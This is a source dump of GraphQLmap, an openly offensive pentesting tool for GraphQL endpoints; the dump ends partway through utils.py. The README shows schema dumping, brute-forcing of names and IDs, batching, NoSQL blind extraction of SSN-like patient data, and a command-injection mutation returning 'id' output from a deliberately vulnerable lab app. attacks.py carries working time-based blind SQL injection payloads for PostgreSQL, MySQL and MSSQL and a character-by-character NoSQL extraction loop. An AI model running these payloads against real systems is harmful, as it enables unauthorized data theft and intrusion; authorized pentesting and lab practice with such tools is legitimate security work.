├── .github └── FUNDING.yml ├── .gitignore ├── LICENSE ├── README.md ├── bin └── graphqlmap ├── graphqlmap ├── __init__.py ├── attacks.py └── utils.py ├── requirements.txt └── setup.py /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: swisskyrepo 4 | ko_fi: swissky # Replace with a single Ko-fi username 5 | custom: https://www.buymeacoffee.com/swissky 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | .idea/ 106 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Swissky 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GraphQLmap 2 | 3 | > GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. 4 | 5 | 6 | * [Install](#install) 7 | * [Features and examples](#features-and-examples) 8 | - [Dump a GraphQL schema](#dump-a-graphql-schema) 9 | - [Interact with a GraphQL endpoint](#interact-with-a-graphql-endpoint) 10 | - [Execute GraphQL queries](#) 11 | - [Autocomplete queries](#) 12 | - [GraphQL field fuzzing](#graphql-field-fuzzing) 13 | - [Example 1 - Bruteforce a character](#example-1---bruteforce-a-character) 14 | - [Example 2 - Iterate over a number](#example-2---iterate-over-a-number) 15 | - [NoSQL injection inside a GraphQL field](#nosql-injection) 16 | - [SQL injection inside a GraphQL field](#sqli-injection) 17 | 18 | I :heart: pull requests, feel free to improve this script :) 19 | 20 | You can also contribute with a :beers: IRL or using Github Sponsoring button. 21 | 22 | ## Install 23 | 24 | ```basic 25 | $ git clone https://github.com/swisskyrepo/GraphQLmap 26 | $ python setup.py install 27 | $ graphqlmap 28 | _____ _ ____ _ 29 | / ____| | | / __ \| | 30 | | | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __ 31 | | | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \ 32 | | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) | 33 | \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ 34 | | | | | 35 | |_| |_| 36 | Author:Swissky Version:1.0 37 | usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]] 38 | 39 | optional arguments: 40 | -h, --help show this help message and exit 41 | -u URL URL to query : example.com/graphql?query={} 42 | -v [VERBOSITY] Enable verbosity 43 | --method [METHOD] HTTP Method to use interact with /graphql endpoint 44 | --headers [HEADERS] HTTP Headers sent to /graphql endpoint 45 | --json [USE_JSON] Use JSON encoding, implies POST 46 | --proxy [PROXY] HTTP proxy to log requests 47 | ``` 48 | 49 | Development setup 50 | 51 | ```ps1 52 | python -m venv .venv 53 | source .venv/bin/activate 54 | pip install --editable . 55 | pip install -r requirements.txt 56 | ./bin/graphqlmap -u http://127.0.0.1:5013/graphql 57 | ``` 58 | 59 | 60 | ## Features and examples 61 | 62 | :warning: Examples are based on several CTF challenges from HIP2019. 63 | 64 | ### Connect to a graphql endpoint 65 | 66 | ```py 67 | # Connect using POST and providing an authentication token 68 | graphqlmap -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}' 69 | 70 | # Pass request through Burp Proxy 71 | graphqlmap -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080 72 | ``` 73 | 74 | ### Dump a GraphQL schema 75 | 76 | Use `dump_new` to dump the GraphQL schema, this function will automatically populate the "autocomplete" with the found fields. 77 | [:movie_camera: Live Example](https://asciinema.org/a/14YuWoDOyCztlx7RFykILit4S) 78 | 79 | ```powershell 80 | GraphQLmap > dump_new 81 | ============= [SCHEMA] =============== 82 | e.g: name[Type]: arg (Type!) 83 | 84 | Query 85 | doctor[]: email (String!), 86 | doctors[Doctor]: 87 | patients[Patient]: 88 | patient[]: id (ID!), 89 | allrendezvous[Rendezvous]: 90 | rendezvous[]: id (ID!), 91 | Doctor 92 | id[ID]: 93 | firstName[String]: 94 | lastName[String]: 95 | specialty[String]: 96 | patients[None]: 97 | rendezvous[None]: 98 | email[String]: 99 | password[String]: 100 | [...] 101 | ``` 102 | 103 | 104 | ### Interact with a GraphQL endpoint 105 | 106 | Write a GraphQL request and execute it. 107 | 108 | ```powershell 109 | GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}} 110 | { 111 | "data": { 112 | "doctors": [ 113 | { 114 | "firstName": "Admin", 115 | "id": "5d089c51dcab2d0032fdd08d", 116 | "lastName": "Admin" 117 | } 118 | ] 119 | } 120 | } 121 | ``` 122 | 123 | It also works with `mutations`, they must be written in a single line. 124 | 125 | ```ps1 126 | # ./bin/graphqlmap -u http://127.0.0.1:5013/graphql --proxy http://127.0.0.1:8080 --method POST 127 | GraphQLmap > mutation { importPaste(host:"localhost", port:80, path:"/ ; id", scheme:"http"){ result }} 128 | { 129 | "data": { 130 | "importPaste": { 131 | "result": "uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\n" 132 | { 133 | { 134 | { 135 | ``` 136 | 137 | 138 | ### GraphQL field fuzzing 139 | 140 | Use `GRAPHQL_INCREMENT` and `GRAPHQL_CHARSET` to fuzz a parameter. 141 | [:movie_camera: Live Example](https://asciinema.org/a/ICCz3PqHVNrBf262x6tQfuwqT) 142 | 143 | #### Example 1 - Bruteforce a character 144 | 145 | ```powershell 146 | GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}} 147 | [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}} 148 | [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}} 149 | [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}} 150 | [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}} 151 | [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}} 152 | [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}} 153 | [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}} 154 | [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}} 155 | [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}} 156 | [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}} 157 | [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}} 158 | [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}} 159 | [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}} 160 | [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}} 161 | [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}} 162 | ``` 163 | 164 | #### Example 2 - Iterate over a number 165 | 166 | Use `GRAPHQL_INCREMENT_` followed by a number. 167 | 168 | ```powershell 169 | GraphQLmap > { paste(pId: "GRAPHQL_INCREMENT_10") {id,title,content,public,userAgent} } 170 | [+] Query: (45) { paste(pId: "0") {id,title,content,public,userAgent} } 171 | [+] Query: (245) { paste(pId: "1") {id,title,content,public,userAgent} } 172 | [+] Query: (371) { paste(pId: "2") {id,title,content,public,userAgent} } 173 | [+] Query: (309) { paste(pId: "3") {id,title,content,public,userAgent} } 174 | [+] Query: (311) { paste(pId: "4") {id,title,content,public,userAgent} } 175 | [+] Query: (308) { paste(pId: "5") {id,title,content,public,userAgent} } 176 | [+] Query: (375) { paste(pId: "6") {id,title,content,public,userAgent} } 177 | [+] Query: (315) { paste(pId: "7") {id,title,content,public,userAgent} } 178 | [+] Query: (336) { paste(pId: "8") {id,title,content,public,userAgent} } 179 | [+] Query: (377) { paste(pId: "9") {id,title,content,public,userAgent} } 180 | 181 | GraphQLmap > { paste(pId: "9") {id,title,content,public,userAgent} } 182 | { paste(pId: "9") {id,title,content,public,userAgent} } 183 | { 184 | "data": { 185 | "paste": { 186 | "content": "I was excited to spend time with my wife without being interrupted by kids.", 187 | "id": "UGFzdGVPYmplY3Q6OQ==", 188 | "public": true, 189 | "title": "This is my first paste", 190 | "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" 191 | } 192 | } 193 | } 194 | ``` 195 | 196 | ### GraphQL Batching 197 | 198 | GraphQL supports Request Batching. Batched requests are processed one after the other by GraphQL 199 | Use `BATCHING_PLACEHOLDER` before a query to send it multiple times inside a single request. 200 | 201 | ```ps1 202 | GraphQLmap > BATCHING_3 {__schema{ types{namea}}} 203 | [+] Sending a batch of 3 queries 204 | [+] Successfully received 3 outputs 205 | 206 | GraphQLmap > BATCHING_2 {systemUpdate} 207 | [+] Sending a batch of 2 queries 208 | [+] Successfully received 2 outputs 209 | ``` 210 | 211 | ### NoSQLi injection 212 | 213 | Use `BLIND_PLACEHOLDER` inside the query for the `nosqli` function. 214 | [:movie_camera: Live Example](https://asciinema.org/a/wp2lixHqRV0pxxhZ8nsgUj6s7) 215 | 216 | ```powershell 217 | GraphQLmap > nosqli 218 | Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}} 219 | Check > 5d089c51dcab2d0032fdd08d 220 | Charset > 0123456789abcdef- 221 | [+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b 222 | GraphQLmap > 223 | ``` 224 | 225 | ### SQL injection 226 | 227 | ```powershell 228 | GraphQLmap > postgresqli 229 | GraphQLmap > mysqli 230 | GraphQLmap > mssqli 231 | ``` 232 | 233 | ## Practice 234 | 235 | * [Damn Vulnerable GraphQL Application - @dolevf](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application/blob/master/setup.py) : `docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga` 236 | 237 | ## TODO 238 | 239 | * GraphQL Field Suggestions 240 | * Generate mutation query 241 | * Unit tests 242 | * Handle node 243 | ``` 244 | { 245 | user { 246 | edges { 247 | node { 248 | username 249 | } 250 | } 251 | } 252 | } 253 | ``` 254 | -------------------------------------------------------------------------------- /bin/graphqlmap: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | try: 4 | import readline 5 | except ImportError: 6 | import pyreadline as readline 7 | 8 | from graphqlmap.attacks import * 9 | import urllib3 10 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 11 | 12 | 13 | class GraphQLmap(object): 14 | author = "@pentest_swissky" 15 | version = "1.1" 16 | endpoint = "graphql" 17 | method = "POST" 18 | args = None 19 | url = None 20 | headers = None 21 | use_json = False 22 | 23 | def __init__(self, args_graphql): 24 | print(" _____ _ ____ _ ") 25 | print(" / ____| | | / __ \| | ") 26 | print(" | | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __ ") 27 | print(" | | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \ ") 28 | print(" | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |") 29 | print(" \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ ") 30 | print(" | | | | ") 31 | print(" |_| |_| ") 32 | print(" " * 30, end='') 33 | print(f"\033[1mAuthor\033[0m: {self.author} \033[1mVersion\033[0m: {self.version} ") 34 | self.args = args_graphql 35 | self.url = args_graphql.url 36 | self.method = args_graphql.method 37 | self.headers = None if not args_graphql.headers else json.loads(args_graphql.headers) 38 | self.use_json = True if args_graphql.use_json else False 39 | self.proxy = { 40 | "http" : args_graphql.proxy, 41 | } 42 | 43 | while True: 44 | query = input("GraphQLmap > ") 45 | cmdlist.append(query) 46 | if query == "exit" or query == "q": 47 | exit() 48 | 49 | elif query == "help": 50 | display_help() 51 | 52 | elif query == "debug": 53 | display_types(self.url, self.method, self.proxy, self.headers, self.use_json) 54 | 55 | elif query == "dump_via_introspection": 56 | dump_schema(self.url, self.method, 15, self.proxy, self.headers, self.use_json) 57 | 58 | elif query == "dump_via_fragment": 59 | dump_schema(self.url, self.method, 14, self.proxy, self.headers, self.use_json) 60 | 61 | elif query == "nosqli": 62 | blind_nosql(self.url, self.method, self.proxy, self.headers, self.use_json) 63 | 64 | elif query == "postgresqli": 65 | blind_postgresql(self.url, self.method, self.proxy, self.headers, self.use_json) 66 | 67 | elif query == "mysqli": 68 | blind_mysql(self.url, self.method, self.proxy, self.headers, self.use_json) 69 | 70 | elif query == "mssqli": 71 | blind_mssql(self.url, self.method, self.proxy, self.headers, self.use_json) 72 | 73 | else: 74 | print(self.headers) 75 | exec_advanced(self.url, self.method, query, self.headers, self.use_json, self.proxy) 76 | 77 | 78 | if __name__ == "__main__": 79 | readline.set_completer(auto_completer) 80 | readline.parse_and_bind("tab: complete") 81 | args = parse_args() 82 | GraphQLmap(args) 83 | -------------------------------------------------------------------------------- /graphqlmap/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swisskyrepo/GraphQLmap/59305d7570c8fbbb04a324e869ec9a196c150936/graphqlmap/__init__.py -------------------------------------------------------------------------------- /graphqlmap/attacks.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from graphqlmap.utils import * 3 | import re 4 | import time 5 | 6 | def display_types(URL, method, headers, use_json, proxy): 7 | payload = "{__schema{types{name}}}" 8 | r = requester(URL, method, payload, headers, use_json, proxy) 9 | if r is not None: 10 | schema = r.json() 11 | for names in schema['data']['__schema']['types']: 12 | print(names) 13 | 14 | 15 | def dump_schema(url, method, graphversion, headers, use_json, proxy): 16 | """ 17 | Dump the GraphQL schema via Instrospection 18 | 19 | :param headers: Headers to use 20 | :param url: URL of the GraphQL instance 21 | :param method: HTTP method to use 22 | :param graphversion: GraphQL version 23 | :return: None 24 | """ 25 | 26 | if graphversion > 14: 27 | payload = "query+IntrospectionQuery+{++++++++++++++++__schema+{++++++++++++++++queryType+{+name+}++++++++++++++++mutationType+{+name+}++++++++++++++++subscriptionType+{+name+}++++++++++++++++types+{++++++++++++++++++++...FullType++++++++++++++++}++++++++++++++++directives+{++++++++++++++++++++name++++++++++++++++++++description++++++++++++++++++++locations++++++++++++++++++++args+{++++++++++++++++++++...InputValue++++++++++++++++++++}++++++++++++++++}++++++++++++++++}++++++++++++}++++++++++++fragment+FullType+on+__Type+{++++++++++++++++kind++++++++++++++++name++++++++++++++++description++++++++++++++++fields(includeDeprecated:+true)+{++++++++++++++++name++++++++++++++++description++++++++++++++++args+{++++++++++++++++++++...InputValue++++++++++++++++}++++++++++++++++type+{++++++++++++++++++++...TypeRef++++++++++++++++}++++++++++++++++isDeprecated++++++++++++++++deprecationReason++++++++++++++++}++++++++++++++++inputFields+{++++++++++++++++...InputValue++++++++++++++++}++++++++++++++++interfaces+{++++++++++++++++...TypeRef++++++++++++++++}++++++++++++++++enumValues(includeDeprecated:+true)+{++++++++++++++++name++++++++++++++++description++++++++++++++++isDeprecated++++++++++++++++deprecationReason++++++++++++++++}++++++++++++++++possibleTypes+{++++++++++++++++...TypeRef++++++++++++++++}++++++++++++}++++++++++++fragment+InputValue+on+__InputValue+{++++++++++++++++name++++++++++++++++description++++++++++++++++type+{+...TypeRef+}++++++++++++++++defaultValue++++++++++++}++++++++++++fragment+TypeRef+on+__Type+{++++++++++++++++kind++++++++++++++++name++++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++++ofType+{++++++++++++++++++++kind++++++++++++++++++++name++++++++++++++++++++ofType+{++++++++++++++++++++kind++++++++++++++++++++name++++++++++++++++++++ofType+{++++++++++++++++++++++++kind++++++++++++++++++++++++name++++++++++++++++++++++++ofType+{++++++++++++++++++++++++kind++++++++++++++++++++++++name++++++++++++++++++++++++ofType+{++++++++++++++++++++++++++++kind++++++++++++++++++++++++++++name++++++++++++++++++++++++++++ofType+{++++++++++++++++++++++++++++kind++++++++++++++++++++++++++++name++++++++++++++++++++++++++++}++++++++++++++++++++++++}++++++++++++++++++++++++}++++++++++++++++++++}++++++++++++++++++++}++++++++++++++++}++++++++++++++++}++++++++++++}" 28 | else: 29 | payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}" 30 | 31 | r = requester(url, method, payload, headers, use_json, proxy) 32 | schema = r.json() 33 | 34 | print("============= [SCHEMA] ===============") 35 | print("e.g: \033[92mname\033[0m[\033[94mType\033[0m]: arg (\033[93mType\033[0m!)\n") 36 | 37 | line = 0 38 | 39 | if 'data' not in schema: 40 | print('[+] Unable to download schema.') 41 | 42 | exit() 43 | 44 | for line, types in enumerate(schema['data']['__schema']['types']): 45 | 46 | if types['kind'] == "OBJECT": 47 | print(f"{line:02}: {types['name']}") 48 | 49 | if "__" not in types['name']: 50 | for fields in types['fields']: 51 | mutation_args = "" 52 | field_type = "" 53 | try: 54 | field_type = fields['type']['ofType']['name'] 55 | except Exception: 56 | pass 57 | 58 | print("\t\033[92m{}\033[0m[\033[94m{}\033[0m]: ".format(fields['name'], field_type), end='') 59 | 60 | # add the field to the autocompleter 61 | cmdlist.append(fields['name']) 62 | 63 | for args in fields['args']: 64 | args_name = args.get('name', '') 65 | args_ttype = "" 66 | 67 | try: 68 | if args['type']['name'] != None: 69 | args_ttype = args['type']['name'] 70 | else: 71 | args_ttype = args['type']['ofType']['name'] 72 | except Exception: 73 | pass 74 | 75 | print("{} (\033[93m{}\033[0m!), ".format(args_name, args_ttype), end='') 76 | cmdlist.append(args_name) 77 | 78 | # generate mutation query as a formatted string to avoid the program crashing when args_ttype is None 79 | mutation_args += f'{args_name}:{args_ttype},' 80 | print("") 81 | 82 | if (types['name'].lower().strip() == "mutations"): 83 | mutation_args = mutation_args.replace('String', '"string"') 84 | mutation_args = mutation_args.replace('Boolean', 'true') 85 | mutation_args = mutation_args.replace('Int', '1') 86 | mutation_args = mutation_args[:-1] 87 | print("\033[95m\t(?) mutation{" + fields['name'] + "(" + mutation_args + "){ result }}\033[0m") 88 | 89 | 90 | def exec_graphql(url, method, query, proxy, headers=None, use_json=False, only_length=0, is_batch=0): 91 | if headers is None: 92 | headers = {} 93 | r = requester(url, method, query, proxy, headers=headers, use_json=use_json, is_batch=is_batch) 94 | try: 95 | graphql = r.json() 96 | errors = graphql.get("errors") 97 | 98 | # handle errors in JSON data 99 | if errors: 100 | return "\033[91m" + errors[0]['message'] + "\033[0m" 101 | 102 | else: 103 | try: 104 | jq_data = jq(graphql) 105 | 106 | # handle blind injection (content length) 107 | if only_length: 108 | return len(jq_data) 109 | 110 | # otherwise return the JSON content 111 | else: 112 | output = jq(graphql) 113 | 114 | # basic syntax highlighting 115 | output = output.replace("{", "\033[92m{\033[0m") 116 | output = output.replace("}", "\033[92m{\033[0m") 117 | output = re.sub(r'"(.*?)"', r'\033[95m"\1"\033[0m', output) 118 | return output 119 | 120 | except: 121 | # when the content isn't a valid JSON, return a text 122 | return r.text 123 | 124 | except Exception as e: 125 | return "\033[91m[!]\033[0m {}".format(str(e)) 126 | 127 | 128 | def exec_advanced(url, method, query, headers, use_json, proxy): 129 | # Allow a user to bruteforce character from a charset 130 | # e.g: {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}} 131 | if "GRAPHQL_CHARSET" in query: 132 | graphql_charset = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~" 133 | for c in graphql_charset: 134 | length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), proxy, headers, use_json, only_length=1) 135 | print( 136 | "[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c))) 137 | 138 | 139 | # Allow a user to bruteforce number from a specified range 140 | # e.g: {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine3GRAPHQL_INCREMENT_10@yahoo.com\"} }"){id, lastName, email}} 141 | elif "GRAPHQL_INCREMENT_" in query: 142 | regex = re.compile("GRAPHQL_INCREMENT_(\d*)") 143 | match = regex.findall(query) 144 | for i in range(int(match[0])): 145 | pattern = "GRAPHQL_INCREMENT_" + match[0] 146 | length = exec_graphql(url, method, query.replace(pattern, str(i)), proxy, headers, use_json, only_length=1) 147 | print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i)))) 148 | 149 | 150 | # Allow a user to send multiple queries in a single request 151 | # e.g: BATCHING_3 {__schema{ types{name}}} 152 | elif "BATCHING_" in query: 153 | regex = re.compile("BATCHING_(\d*)") 154 | match = regex.findall(query) 155 | batch = int(match[0]) 156 | query = query.replace('BATCHING_' + match[0], '') 157 | print(f"[+] Sending a batch of {batch} queries") 158 | r = requester(url, "POST", query, proxy, headers, use_json, is_batch=batch) 159 | output = len(r.json()) 160 | if output == batch: 161 | print(f"[+] Successfully received {batch} outputs") 162 | else: 163 | print(f"[+] Backend did not sent back {batch} outputs, got {output}") 164 | 165 | 166 | # Otherwise execute the query and display the JSON result 167 | else: 168 | print(exec_graphql(url, method, query, proxy, headers=headers, use_json=use_json)) 169 | 170 | 171 | def blind_postgresql(url, method, proxy, headers, use_json): 172 | query = input("Query > ") 173 | payload = "1 AND pg_sleep(30) --" 174 | print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) 175 | injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) 176 | requester(url, method, injected, proxy, headers, use_json) 177 | print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) 178 | 179 | 180 | def blind_mysql(url, method, proxy, headers, use_json): 181 | query = input("Query > ") 182 | payload = "'-SLEEP(30); #" 183 | print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) 184 | injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) 185 | requester(url, method, injected, proxy, headers, use_json) 186 | print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) 187 | 188 | 189 | def blind_mssql(url, method, proxy, headers, use_json): 190 | query = input("Query > ") 191 | payload = "'; WAITFOR DELAY '00:00:30';" 192 | print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) 193 | injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) 194 | requester(url, method, injected, proxy, headers, use_json) 195 | print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) 196 | 197 | 198 | def blind_nosql(url, method, proxy, headers, use_json): 199 | # Query - include BLIND_PLACEHOLDER. e.g. {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}} 200 | query = input("Query > ") 201 | # Check the input (known value) against the data found - e.g. 5d089c51dcab2d0032fdd08d 202 | check = input("Check > ") 203 | # Charset to use - Default abcdefghijklmnopqrstuvwxyz1234567890 204 | charset = input("Charset > ") 205 | if(not charset): 206 | charset = "abcdefghijklmnopqrstuvwxyz1234567890" 207 | data = "" 208 | _break = False 209 | 210 | while (_break == False): 211 | old_data = data 212 | for c in charset: 213 | injected = query.replace("BLIND_PLACEHOLDER", data + c) 214 | r = requester(url, method, injected, proxy, headers, use_json) 215 | if check in r.text: 216 | data += c 217 | # display data and update the current line 218 | print("\r\033[92m[+] Data found:\033[0m {}".format(data), end='', flush=False) 219 | # Stop if no character is found 220 | if(old_data == data): 221 | _break = True 222 | # force a line return to clear the screen after the data trick 223 | print("") 224 | -------------------------------------------------------------------------------- /graphqlmap/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import argparse 3 | import json 4 | 5 | import requests 6 | 7 | cmdlist = ["exit", "help", "dump_via_fragment", "dump_via_introspection", "postgresqli", "mysqli", "mssqli", "nosqli", "mutation", "edges", 8 | "node", "$regex", "$ne", "__schema"] 9 | 10 | 11 | def auto_completer(text, state): 12 | options = [x for x in cmdlist if x.startswith(text)] 13 | try: 14 | return options[state] 15 | except IndexError: 16 | return None 17 | 18 | 19 | def jq(data): 20 | return json.dumps(data, indent=4, sort_keys=True) 21 | 22 | 23 | def requester(url, method, payload, proxy, headers=None, use_json=False, is_batch=0): 24 | if method == "POST" or use_json: 25 | new_headers = {} if headers is None else headers.copy() 26 | 27 | data = None 28 | if is_batch == 0: 29 | data = { 30 | "query": payload.replace("+", " ") 31 | } 32 | new_data = data.copy() 33 | 34 | if use_json: 35 | new_headers['Content-Type'] = 'application/json' 36 | new_data = json.dumps(data) 37 | r 